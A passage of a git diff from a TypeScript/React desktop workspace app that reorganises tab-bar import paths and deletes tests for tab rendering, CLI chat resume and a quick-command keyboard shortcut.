-  browserTitle?: string
-  sessionLabel?: string
-  sessionAgent?: AgentType
-} = {}): TabBarItem[] {
-  return [
-    {
-      type: 'terminal',
-      id: 'terminal-1',
-      unifiedTabId: 'unified-terminal-1',
-      isPinned: terminalPinned,
-      data: {
-        id: 'terminal-1',
-        ptyId: null,
-        worktreeId: 'wt-1',
-        title: 'zsh',
-        generatedTitle: 'Fix the login bug',
-        customTitle: null,
-        color: null,
-        sortOrder: 0,
-        createdAt: 0
-      }
-    },
-    {
-      type: 'browser',
-      id: 'browser-1',
-      unifiedTabId: 'unified-browser-1',
-      isPinned: false,
-      data: {
-        id: 'browser-1',
-        worktreeId: 'wt-1',
-        url: 'https://example.test',
-        title: browserTitle,
-        loading: false,
-        faviconUrl: null,
-        canGoBack: false,
-        canGoForward: false,
-        loadError: null,
-        createdAt: 0
-      }
-    },
-    {
-      type: 'editor',
-      id: 'file-1',
-      unifiedTabId: 'unified-file-1',
-      isPinned: false,
-      data: {
-        id: 'file-1',
-        filePath: '/repo/notes.md',
-        relativePath: 'notes.md',
-        worktreeId: 'wt-1',
-        language: 'markdown',
-        isPreview: false,
-        isDirty: false,
-        mode: 'edit'
-      }
-    },
-    {
-      type: 'agent-session',
-      id: 'session-1',
-      unifiedTabId: 'session-1',
-      isPinned: false,
-      data: {
-        id: 'session-1',
-        entityId: 'session-1',
-        groupId: 'group-1',
-        worktreeId: 'wt-1',
-        contentType: 'agent-session',
-        ...(sessionAgent ? { agentSessionAgent: sessionAgent } : {}),
-        label: sessionLabel,
-        customLabel: null,
-        color: null,
-        sortOrder: 3,
-        createdAt: 0
-      }
-    }
-  ]
-}
-
-type StripInputs = {
-  onActivate?: (id: string) => void
-  generatedTabTitlesEnabled?: boolean
-  managedBrowserCreationEnabled?: boolean
-  terminalPinned?: boolean
-  browserTitle?: string
-  sessionLabel?: string
-  sessionAgent?: AgentType
-  activeTabType?: WorkspaceVisibleTabType
-  activeClientHostedBrowserRowId?: string | null
-  statusByRelativePath?: TabBarItemSurfaceRuntime['statusByRelativePath']
-}
-
-function Strip({
-  onActivate = NOOP,
-  generatedTabTitlesEnabled = false,
-  managedBrowserCreationEnabled = false,
-  terminalPinned,
-  browserTitle,
-  sessionLabel,
-  sessionAgent,
-  activeTabType = 'terminal',
-  activeClientHostedBrowserRowId = null,
-  statusByRelativePath = STATUS_BY_RELATIVE_PATH
-}: StripInputs): React.JSX.Element {
-  const props: TabBarItemSurfaceProps = {
-    worktreeId: 'wt-1',
-    activeTabId: 'terminal-1',
-    activeFileId: 'file-1',
-    activeBrowserTabId: 'browser-1',
-    activeSimulatorTabId: null,
-    activeTabType,
-    expandedPaneByTabId: {}
-  }
-  const runtime: TabBarItemSurfaceRuntime = {
-    resolvedGroupId: 'group-1',
-    generatedTabTitlesEnabled,
-    unifiedTabByVisibleId: new Map(),
-    tabAgentTypesByTabId: {},
-    nativeChatTabWideFallbackUnsafeTabsById: {},
-    nativeChatTranscriptIsLocalReadable: false,
-    managedBrowserCreationEnabled,
-    statusByRelativePath
-  }
-  const actions = useTabBarItemActions({
-    props: {
-      worktreeId: 'wt-1',
-      onActivate,
-      onActivateFile: onActivate,
-      onActivateBrowserTab: onActivate,
-      onActivateAgentSession: onActivate,
-      onClose: NOOP,
-      onCloseOthers: NOOP,
-      onCloseToRight: NOOP,
-      onCloseToLeft: NOOP,
-      onSetCustomTitle: NOOP,
-      onSetTabColor: NOOP,
-      onTogglePaneExpand: NOOP
-    },
-    togglePinned: NOOP,
-    toggleTabViewMode: NOOP
-  })
-  return (
-    <>
-      {renderTabBarItems({
-        items: buildItems({ terminalPinned, browserTitle, sessionLabel, sessionAgent }),
-        props,
-        runtime,
-        actions,
-        dropIndicatorByVisibleId: new Map(),
-        includeTopTabBorder: true,
-        activeClientHostedBrowserRowId
-      })}
-    </>
-  )
-}
-
-const NOOP = (): void => {}
-const STATUS_BY_RELATIVE_PATH: TabBarItemSurfaceRuntime['statusByRelativePath'] = new Map()
-
-let root: Root | null = null
-
-const NEVER_RESOLVES = new Promise<never>(() => {})
-
-function Suspended(): null {
-  use(NEVER_RESOLVES)
-  return null
-}
-
-function stripTree(inputs: StripInputs, suspended = false): React.JSX.Element {
-  return (
-    <Suspense fallback={null}>
-      <Strip {...inputs} />
-      {suspended ? <Suspended /> : null}
-    </Suspense>
-  )
-}
-
-function renderStrip(inputs: StripInputs = {}): void {
-  if (!root) {
-    root = createRoot(document.createElement('div'))
-  }
-  act(() => root!.render(stripTree(inputs)))
-}
-
-function lastRender(tabId: string): TabProps {
-  return tabRenders.findLast((render) => render.id === tabId)!.props
-}
-
-afterEach(() => {
-  act(() => root?.unmount())
-  root = null
-  tabRenders.length = 0
-  clearClientHostedBrowserRowSelection()
-})
-
-describe('tab strip rows', () => {
-  it('keeps the committed handler when React abandons a render', async () => {
-    const committed = vi.fn()
-    const abandoned = vi.fn()
-    renderStrip({ onActivate: committed })
-    await act(async () =>
-      startTransition(() => root!.render(stripTree({ onActivate: abandoned }, true)))
-    )
-
-    lastRender('terminal-1').onActivate('terminal-1')
-
-    expect(committed).toHaveBeenCalledWith('terminal-1')
-    expect(abandoned).not.toHaveBeenCalled()
-  })
-})
-
-/** Client-hosted rows overlay panes without changing activeTabId; suppress real-tab underlines while they are selected. */
diff --git a/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx b/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx
index f8f75a2c36c..3b2041e6833 100644
--- a/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx
+++ b/src/renderer/src/components/tab-bar/TabBarQuickCommandsButton.tsx
@@ -1,7 +1,7 @@
 import { useMemo, useState } from 'react'
 import { Play } from 'lucide-react'
-import { useAppStore } from '@/store'
-import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal-quick-command-host-prompt-limit'
+import { useAppStore } from '@/store/index'
+import { getTerminalQuickCommandHostPromptMaxLength } from '@/lib/terminal/quick-commands/terminal-quick-command-host-prompt-limit'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
 import {
   createTerminalQuickCommandDraft,
@@ -13,7 +13,7 @@ import {
 } from '../../../../shared/terminal/quick-commands/terminal-quick-commands'
 import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
 import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../shared/constants'
-import { runQuickCommandInNewTab } from '@/lib/run-quick-command-in-new-tab'
+import { runQuickCommandInNewTab } from '@/lib/terminal/quick-commands/run-quick-command-in-new-tab'
 import type { TerminalQuickCommand } from '../../../../shared/terminal/quick-commands/terminal-quick-command-types'
 import { useConfirmationDialog } from '@/components/confirmation-dialog-context'
 import { useTranslate } from '@/i18n/use-translate'
@@ -25,7 +25,7 @@ import {
 } from '@/hooks/use-terminal-quick-command-hosts'
 import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host'
 import { useProjectHostSetupProjection } from '@/store/projects/use-project-host-setup-projection'
-import { terminalQuickCommandMatchesWorkspaceProject } from '@/lib/terminal-quick-command-project-scope'
+import { terminalQuickCommandMatchesWorkspaceProject } from '@/lib/terminal/quick-commands/terminal-quick-command-project-scope'
 
 type TabBarQuickCommandsButtonProps = {
   worktreeId: string
diff --git a/src/renderer/src/components/tab-bar/TerminalSortableTab.tsx b/src/renderer/src/components/tab-bar/TerminalSortableTab.tsx
index 3deeaef1609..b388f334dfb 100644
--- a/src/renderer/src/components/tab-bar/TerminalSortableTab.tsx
+++ b/src/renderer/src/components/tab-bar/TerminalSortableTab.tsx
@@ -1,6 +1,7 @@
-import { useTabAgent } from '@/lib/use-tab-agent'
+import { useTabAgent } from '@/lib/agent-session/tab-identity/use-tab-agent'
+import SortableTab from './SortableTab'
+import type { SortableTabProps } from './SortableTab'
 import type { TerminalTab } from '../../../../shared/workspace-layout/terminal-tab-types'
-import SortableTab, { type SortableTabProps } from './SortableTab'
 
 type TerminalSortableTabProps = Omit<SortableTabProps, 'tab' | 'agent'> & { tab: TerminalTab }
 
diff --git a/src/renderer/src/components/tab-bar/cli-chat-resume-close-admission.ts b/src/renderer/src/components/tab-bar/cli-chat-resume-close-admission.ts
index ce230942d68..1ef9fccbc0f 100644
--- a/src/renderer/src/components/tab-bar/cli-chat-resume-close-admission.ts
+++ b/src/renderer/src/components/tab-bar/cli-chat-resume-close-admission.ts
@@ -1,5 +1,5 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { admitStructuredLaunchOnHost } from '@/lib/agent-session/launch/structured-agent-session-host-admission'
 import { structuredChatUnavailableText } from '@/lib/agent-session/launch/structured-agent-session-launch-failure'
@@ -7,7 +7,6 @@ import { notifyHostPermissionRefused } from '@/lib/agent-session/launch/structur
 import { toRuntimeWorktreeSelector } from '@/runtime/rpc/targets/runtime-worktree-selector'
 import { readStructuredChatHostPermissionVerdict } from '@/runtime/native-chat/host-capabilities/structured-chat-host-permission'
 import { structuredAgentSessionHostSupports } from '@/runtime/native-chat/host-capabilities/structured-agent-session-host-support'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 import { probePtyRunningWork } from '../terminal/pty-running-work-probe'
 import { waitForPromiseWithSignal } from '../../../../shared/abort-signal-reason'
 import { STRUCTURED_AGENT_SESSION_CLOSE_TERMINAL_FOR_CHAT_RUNTIME_CAPABILITY } from '../../../../shared/agent-session/structured-agent-session-surface-capabilities'
@@ -16,16 +15,17 @@ import {
   namesCliConversation
 } from '../../../../shared/structured-agent-cli-conversation-adoption'
 import { recognizeAgentProcess } from '../../../../shared/agent-status/process/agent-process-recognition'
-import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
-import type { CliChatResumeSource } from './cli-chat-resume-source'
 import { reportCliChatResumeOwner } from './cli-chat-resume-feedback'
 import { cliChatResumeClosingPaneKeys } from './cli-chat-resume-close-terminal'
-import { cliConversationExitGuidance } from '@/lib/cli-conversation-exit-guidance'
-import type { AgentSessionLaunchPlan } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
+import { cliConversationExitGuidance } from '@/lib/agent-session/resume/history/cli-conversation-exit-guidance'
 import { structuredLaunchesHoldingIdentity } from '@/lib/agent-session/launch/structured-agent-session-launch-holders'
 import { structuredLaunchIdentity } from '@/lib/agent-session/launch/structured-agent-session-launch-registry'
-import type { StructuredLaunchState } from '@/lib/agent-session/launch/structured-agent-session-launch-state-store'
 import { openStructuredAgentSessionProvisionalTab } from '@/lib/agent-session/launch/structured-agent-session-launch-surface'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
+import type { TuiAgent } from '../../../../shared/agent-launch/catalog/tui-agent'
+import type { CliChatResumeSource } from './cli-chat-resume-source'
+import type { AgentSessionLaunchPlan } from '@/lib/agent-session/launch/routing/agent-session-launch-plan'
+import type { StructuredLaunchState } from '@/lib/agent-session/launch/structured-agent-session-launch-state-store'
 
 /** keep: the agent quit, so the terminal stays; close: continuing stops the pane's agent;
  *  ask: the pane runs another job, so the terminal's own running-process prompt asks. */
diff --git a/src/renderer/src/components/tab-bar/cli-chat-resume-feedback.ts b/src/renderer/src/components/tab-bar/cli-chat-resume-feedback.ts
index 7b6562c51c1..3970fa31922 100644
--- a/src/renderer/src/components/tab-bar/cli-chat-resume-feedback.ts
+++ b/src/renderer/src/components/tab-bar/cli-chat-resume-feedback.ts
@@ -1,19 +1,19 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import {
   structuredLaunchConversationOwner,
   structuredLaunchFailure
 } from '@/lib/agent-session/launch/structured-agent-session-launch-failure'
-import { activateAiVaultStructuredSession } from '@/lib/activate-ai-vault-structured-session'
+import { activateAiVaultStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import { agentSessionWriteFailureText } from '../native-chat/messages/notices/agent-session-write-notice-text'
 import { agentLabel } from '../../../../shared/ai-vault/session-display/ai-vault-session-filters'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
-import { cliConversationExitGuidance } from '@/lib/cli-conversation-exit-guidance'
-import type { AgentSessionConversationOwner } from '../../../../shared/agent-session/failures/agent-session-refusal-details'
-import type { CliChatResumeSource } from './cli-chat-resume-source'
+import { cliConversationExitGuidance } from '@/lib/agent-session/resume/history/cli-conversation-exit-guidance'
 import { retryStructuredAgentSessionLaunch } from '@/lib/agent-session/launch/structured-agent-session-launch'
 import { reopenNativeChatCliForkOrigin } from './native-chat-cli-fork-run'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
+import type { AgentSessionConversationOwner } from '../../../../shared/agent-session/failures/agent-session-refusal-details'
+import type { CliChatResumeSource } from './cli-chat-resume-source'
 
 /** Main's answer to a chat that already holds the conversation: the header opens it, the menu says so. */
 export async function reportCliChatResumeOwner(
diff --git a/src/renderer/src/components/tab-bar/cli-chat-resume-run.test.ts b/src/renderer/src/components/tab-bar/cli-chat-resume-run.test.ts
deleted file mode 100644
index 204bd895dc1..00000000000
--- a/src/renderer/src/components/tab-bar/cli-chat-resume-run.test.ts
+++ /dev/null
@@ -1,135 +0,0 @@
-import type * as RuntimeCapabilityProofModule from '@/runtime/rpc/compatibility/runtime-capability-proof'
-// @vitest-environment happy-dom
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { CliChatResumeSource } from './cli-chat-resume-source'
-import type { StructuredAgentSessionCreateParams } from '../../../../shared/agent-session/structured-agent-session-create'
-import type * as FrameDrawnChatTabPlacementModule from '@/lib/frame-drawn-chat-tab-placement'
-import type * as CloseTerminalModule from './cli-chat-resume-close-terminal'
-
-const mocks = vi.hoisted(() => {
-  const state: { source: CliChatResumeSource | null } = { source: null }
-  return {
-    ...state,
-    sourceCapability: vi.fn(),
-    closeCapability: vi.fn(),
-    closeTerminal: vi.fn(),
-    probe: vi.fn(),
-    createCapability: vi.fn(),
-    call: vi.fn(),
-    toast: vi.fn(),
-    activate: vi.fn(async () => true),
-    frameDrawn: false
-  }
-})
-vi.mock('./cli-chat-resume-close-terminal', async (importOriginal) => ({
-  ...(await importOriginal<typeof CloseTerminalModule>()),
-  closeCliChatResumeTerminal: mocks.closeTerminal
-}))
-vi.mock('./cli-chat-resume-source', () => ({ resolveCliChatResumeSource: () => mocks.source }))
-vi.mock('../terminal/pty-running-work-probe', () => ({ probePtyRunningWork: mocks.probe }))
-vi.mock(
-  '../../runtime/native-chat/host-capabilities/structured-agent-session-host-support',
-  () => ({
-    structuredAgentSessionHostSupports: mocks.closeCapability,
-    structuredAgentSessionHostCapabilityState: async (...args: unknown[]) =>
-      (await mocks.closeCapability(...args)) ? 'supported' : 'unsupported',
-    supportsStructuredAgentSessionCliSource: mocks.sourceCapability,
-    supportsStructuredAgentSessionCreateMessage: mocks.createCapability
-  })
-)
-
-vi.mock('../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  callStructuredAgentSession: (...args: unknown[]) =>
-    args[1] === 'agentSession.createSupport'
-      ? Promise.resolve({ supported: true })
-      : mocks.call(...args)
-}))
-vi.mock('@/runtime/native-chat/tab-inventory/structured-session-tab-inventory', () => ({
-  readStructuredSessionTabInventory: async () => {
-    throw new Error('Reply unavailable')
-  }
-}))
-vi.mock('@/lib/agent-session/launch/structured-agent-session-create-hydration', () => ({
-  publishStructuredAgentSessionCreateHydration: vi.fn()
-}))
-vi.mock('sonner', () => ({ toast: { error: mocks.toast } }))
-// A frame-drawn server workspace's create carries the tab's place, read as it is sent.
-vi.mock('@/lib/frame-drawn-chat-tab-placement', async (importOriginal) => {
-  const actual = await importOriginal<typeof FrameDrawnChatTabPlacementModule>()
-  return {
-    ...actual,
-    withFrameDrawnChatTabPlacement: (
-      intent: Parameters<typeof actual.withFrameDrawnChatTabPlacement>[0]
-    ) =>
-      mocks.frameDrawn
-        ? { ...intent.params, tabPlacement: { groupId: 'g-1' } }
-        : actual.withFrameDrawnChatTabPlacement(intent)
-  }
-})
-vi.mock('@/lib/activate-ai-vault-structured-session', () => ({
-  activateAiVaultStructuredSession: mocks.activate
-}))
-// Switch-on, main opens the chat's tab and its frame draws it.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) => ({
-  ...(
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-capability-proof', async (importOriginal) => ({
-  ...(await importOriginal<typeof RuntimeCapabilityProofModule>()),
-  runtimeEnvironmentSupportsCapability: async () => true
-}))
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-
-import { useAppStore } from '@/store'
-
-import { runCliChatResume } from './cli-chat-resume-run'
-
-import { isEmptyWorkspaceDefaultSurfacePending } from '@/lib/workspace/activation/initial-surface/empty-workspace-default-surface-claims'
-
-import {
-  drawTabsFromMain,
-  type TabsDrawnFromMain
-} from '@/store/slices/tabs/tabs-drawn-from-main.test-fixture'
-
-import { SOURCE, deferred, resetCliChatResumeRun, tabs } from './cli-chat-resume-run.test-fixture'
-
-let main: TabsDrawnFromMain | undefined
-afterEach(() => {
-  vi.useRealTimers()
-  vi.unstubAllGlobals()
-  main?.close()
-  main = undefined
-})
-beforeEach(async () => {
-  resetCliChatResumeRun(mocks)
-  main = await drawTabsFromMain(useAppStore)
-})
-
-describe('CLI identity resume through the existing launch owner', () => {
-  it('shares pending, sends only an advertised source, and survives source closure after dispatch', async () => {
-    const reply = deferred<unknown>()
-    mocks.call.mockReturnValue(reply.promise)
-    const running = runCliChatResume(SOURCE)
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    await runCliChatResume({ ...SOURCE, paneKey: 'another-pane' })
-    expect(mocks.call).toHaveBeenCalledOnce()
-    expect(tabs()).toEqual([])
-    expect(isEmptyWorkspaceDefaultSurfacePending('wt-1')).toBe(true)
-    const params: StructuredAgentSessionCreateParams = mocks.call.mock.calls[0][2]
-    expect(params.resumeFrom).toEqual({
-      providerSessionId: 'provider-1',
-      cliSource: { workspaceId: 'wt-1', paneKey: 'tab-1:leaf' }
-    })
-    mocks.source = null
-    useAppStore.setState({})
-    reply.resolve({ ok: true, value: { sessionId: params.envelope.sessionId, fence: 1 } })
-    await running
-    expect(tabs()).toHaveLength(1)
-    expect(isEmptyWorkspaceDefaultSurfacePending('wt-1')).toBe(false)
-  })
-})
diff --git a/src/renderer/src/components/tab-bar/hosted-terminal-quick-command-search.ts b/src/renderer/src/components/tab-bar/hosted-terminal-quick-command-search.ts
index 32d25d16f62..e24c7f13543 100644
--- a/src/renderer/src/components/tab-bar/hosted-terminal-quick-command-search.ts
+++ b/src/renderer/src/components/tab-bar/hosted-terminal-quick-command-search.ts
@@ -1,4 +1,4 @@
-import { searchTerminalQuickCommands } from '@/lib/terminal-quick-command-search'
+import { searchTerminalQuickCommands } from '@/lib/terminal/quick-commands/terminal-quick-command-search'
 import type { HostedTerminalQuickCommand } from '@/hooks/use-terminal-quick-command-hosts'
 
 export function searchHostedTerminalQuickCommands(
diff --git a/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts b/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts
index f1ff6929ea2..355264c0899 100644
--- a/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts
+++ b/src/renderer/src/components/tab-bar/native-chat-cli-fork-run.ts
@@ -1,18 +1,16 @@
 import { useSyncExternalStore } from 'react'
 import { useAppStore } from '@/store/index'
-import type { AppState } from '@/store/types'
 import { readIpcErrorMessage } from '@/runtime/errors/ipc-error'
-import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host'
-import {
-  prepareNativeChatCliFork,
-  type NativeChatCliForkSubject
-} from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation'
+import { parseExecutionHostId } from '../../../../shared/execution-host'
+import type { ExecutionHostId } from '../../../../shared/execution-host'
+import { prepareNativeChatCliFork } from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation'
+import type { NativeChatCliForkSubject } from '@/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation'
 import {
   assertAiVaultCopiedSessionLaunchAllowed,
   buildAiVaultCopiedSessionStartupForWorktree,
   buildAiVaultForkStartupForWorktree
 } from '@/lib/agent-session/resume/history/ai-vault-session-fork-startup'
-import { launchAiVaultSessionAndReveal } from '@/lib/launch-ai-vault-session-and-reveal'
+import { launchAiVaultSessionAndReveal } from '@/lib/agent-session/resume/history/launch-ai-vault-session-and-reveal'
 import { notifyAiVaultSessionPreparationFailure } from '../right-sidebar/ai-vault/session-actions/ai-vault-session-launch-feedback'
 import { describeAiVaultCliForkFailure } from '../right-sidebar/ai-vault/session-actions/ai-vault-session-cli-fork'
 import {
@@ -23,17 +21,16 @@ import {
   onRuntimeEnvironmentsRetired,
   onRuntimeEnvironmentRevisionsChanged
 } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
-import type { AiVaultAgent } from '../../../../shared/ai-vault/contracts/ai-vault-types'
-import {
-  resolveNativeChatCliForkIdentity,
-  type NativeChatCliForkIdentity
-} from './tab-session-history-switch'
+import { resolveNativeChatCliForkIdentity } from './tab-session-history-switch'
+import type { NativeChatCliForkIdentity } from './tab-session-history-switch'
 import { translate } from '@/i18n/i18n'
-import { openDesktopStructuredSession } from '@/lib/activate-ai-vault-structured-session'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
-import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types'
+import { openDesktopStructuredSession } from '@/lib/agent-session/open/activate-ai-vault-structured-session'
 import { moveStructuredAgentLaunchDraft } from '@/lib/agent-session/launch/structured-agent-session-launch-draft'
 import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
+import type { AppState } from '@/store/types'
+import type { AiVaultAgent } from '../../../../shared/ai-vault/contracts/ai-vault-types'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
+import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types'
 
 const pending = new Map<string, AbortController>()
 const listeners = new Set<() => void>()
diff --git a/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.test.tsx b/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.test.tsx
deleted file mode 100644
index bd72987e4bf..00000000000
--- a/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.test.tsx
+++ /dev/null
@@ -1,153 +0,0 @@
-// @vitest-environment happy-dom
-import { act, cleanup, render } from '@testing-library/react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { TOGGLE_QUICK_COMMANDS_MENU_EVENT } from '@/lib/quick-commands-menu-events'
-import { useTabBarQuickCommandsShortcut } from './tab-bar-quick-commands-shortcut'
-
-const mock = vi.hoisted(() => ({
-  platform: 'darwin',
-  state: {
-    activeView: 'terminal',
-    keybindings: { 'tab.openQuickCommandsMenu': ['Mod+Shift+Q'] },
-    settings: { terminalShortcutPolicy: 'orca-first' }
-  }
-}))
-
-vi.mock('@/store', () => ({
-  useAppStore: (selector: (state: typeof mock.state) => unknown) => selector(mock.state)
-}))
-vi.mock('@/lib/keyboard/shortcut-platform', () => ({ getShortcutPlatform: () => mock.platform }))
-
-function Menu({
-  isFocused,
-  onOpenChange
-}: {
-  isFocused: boolean
-  onOpenChange: (open: boolean) => void
-}): null {
-  useTabBarQuickCommandsShortcut({ isFocused, menuOpen: false, onOpenChange })
-  return null
-}
-
-function setup() {
-  const hiddenWorkspace = vi.fn()
-  const left = vi.fn()
-  const right = vi.fn()
-  const tree = (focused: 'left' | 'right' | null) => (
-    <>
-      <Menu isFocused={false} onOpenChange={hiddenWorkspace} />
-      <Menu isFocused={focused === 'left'} onOpenChange={left} />
-      <Menu isFocused={focused === 'right'} onOpenChange={right} />
-    </>
-  )
-  const view = render(tree('right'))
-  return {
-    hiddenWorkspace,
-    left,
-    right,
-    focus: (focused: 'left' | 'right' | null) => view.rerender(tree(focused))
-  }
-}
-
-function pressShortcut(): void {
-  act(() => {
-    window.dispatchEvent(
-      new KeyboardEvent('keydown', {
-        key: 'Q',
-        code: 'KeyQ',
-        metaKey: mock.platform === 'darwin',
-        ctrlKey: mock.platform !== 'darwin',
-        shiftKey: true,
-        cancelable: true
-      })
-    )
-  })
-}
-
-function forwardShortcut(): void {
-  act(() => {
-    window.dispatchEvent(new CustomEvent(TOGGLE_QUICK_COMMANDS_MENU_EVENT))
-  })
-}
-
-beforeEach(() => {
-  mock.platform = 'darwin'
-  mock.state.activeView = 'terminal'
-  mock.state.keybindings['tab.openQuickCommandsMenu'] = ['Mod+Shift+Q']
-})
-afterEach(cleanup)
-
-describe.each(['darwin', 'linux', 'win32'])(
-  'quick command shortcut ownership on %s',
-  (platform) => {
-    it('only opens the focused split, even when hidden workspaces mounted first', () => {
-      mock.platform = platform
-      const menus = setup()
-
-      pressShortcut()
-
-      expect(menus.right).toHaveBeenCalledExactlyOnceWith(true)
-      expect(menus.left).not.toHaveBeenCalled()
-      expect(menus.hiddenWorkspace).not.toHaveBeenCalled()
-    })
-  }
-)
-
-describe('quick command shortcut ownership changes', () => {
-  it('moves both shortcut listeners when focus changes and removes them when hidden', () => {
-    const menus = setup()
-    menus.focus('left')
-
-    pressShortcut()
-    forwardShortcut()
-
-    expect(menus.left).toHaveBeenCalledTimes(2)
-    expect(menus.right).not.toHaveBeenCalled()
-    expect(menus.hiddenWorkspace).not.toHaveBeenCalled()
-
-    menus.focus(null)
-    pressShortcut()
-    forwardShortcut()
-    expect(menus.left).toHaveBeenCalledTimes(2)
-  })
-
-  it('removes both shortcut listeners when leaving the terminal view', () => {
-    const menus = setup()
-    mock.state.activeView = 'settings'
-    menus.focus('right')
-
-    pressShortcut()
-    forwardShortcut()
-
-    expect(menus.right).not.toHaveBeenCalled()
-    expect(menus.left).not.toHaveBeenCalled()
-    expect(menus.hiddenWorkspace).not.toHaveBeenCalled()
-  })
-
-  it('does not carry a partial modifier double-tap across focus changes', () => {
-    mock.state.keybindings['tab.openQuickCommandsMenu'] = ['DoubleTap+Shift']
-    const menus = setup()
-    const shiftDown = () =>
-      window.dispatchEvent(
-        new KeyboardEvent('keydown', { key: 'Shift', code: 'ShiftLeft', shiftKey: true })
-      )
-    const shiftUp = () =>
-      window.dispatchEvent(new KeyboardEvent('keyup', { key: 'Shift', code: 'ShiftLeft' }))
-
-    act(() => {
-      shiftDown()
-      shiftUp()
-    })
-    menus.focus('left')
-    act(shiftDown)
-    expect(menus.left).not.toHaveBeenCalled()
-    act(() => {
-      shiftUp()
-      shiftDown()
-    })
-
-    expect(menus.left).toHaveBeenCalledExactlyOnceWith(true)
-    expect(menus.right).not.toHaveBeenCalled()
-    expect(menus.hiddenWorkspace).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.ts b/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.ts
index 57dd7187034..fa9c6d1ee4f 100644
--- a/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.ts
+++ b/src/renderer/src/components/tab-bar/tab-bar-quick-commands-shortcut.ts
@@ -9,8 +9,8 @@ import {
   toModifierDoubleTapEvent
 } from '../../../../shared/modifier-double-tap-detector'
 import { getShortcutPlatform } from '@/lib/keyboard/shortcut-platform'
-import { TOGGLE_QUICK_COMMANDS_MENU_EVENT } from '@/lib/quick-commands-menu-events'
-import { useAppStore } from '@/store'
+import { TOGGLE_QUICK_COMMANDS_MENU_EVENT } from '@/lib/terminal/quick-commands/quick-commands-menu-events'
+import { useAppStore } from '@/store/index'
 import { addAppKeyListener, removeAppKeyListener } from '@/lib/keyboard/app-keyboard-router'
 
 type UseTabBarQuickCommandsShortcutParams = {
diff --git a/src/renderer/src/components/tab-bar/tab-create-entry-local-path.ts b/src/renderer/src/components/tab-bar/tab-create-entry-local-path.ts
index f26a3e3150f..a2913f1bd44 100644
--- a/src/renderer/src/components/tab-bar/tab-create-entry-local-path.ts
+++ b/src/renderer/src/components/tab-bar/tab-create-entry-local-path.ts
@@ -4,9 +4,9 @@ import {
   getLocalPathOpenOwnerForRoute,
   isLocalPathOpenBlocked
 } from '@/lib/files/os-open/local-path-open-guard'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import type { RuntimeFileOperationArgs } from '@/runtime/files/runtime-file-client-types'
-import type { useAppStore } from '@/store'
+import type { useAppStore } from '@/store/index'
 import { parseWorkspaceKey } from '../../../../shared/workspace-scope'
 import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target'
 import { selectFileListWorktree } from '@/store/workspaces/selection/known-worktree-selection'
diff --git a/src/renderer/src/components/tab-bar/tab-move-to-pane-column.ts b/src/renderer/src/components/tab-bar/tab-move-to-pane-column.ts
index 7b5acb28781..641f3e1bf31 100644
--- a/src/renderer/src/components/tab-bar/tab-move-to-pane-column.ts
+++ b/src/renderer/src/components/tab-bar/tab-move-to-pane-column.ts
@@ -1,10 +1,10 @@
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import type { TabSplitDirection } from '../../store/slices/tabs/tabs-slice-contract'
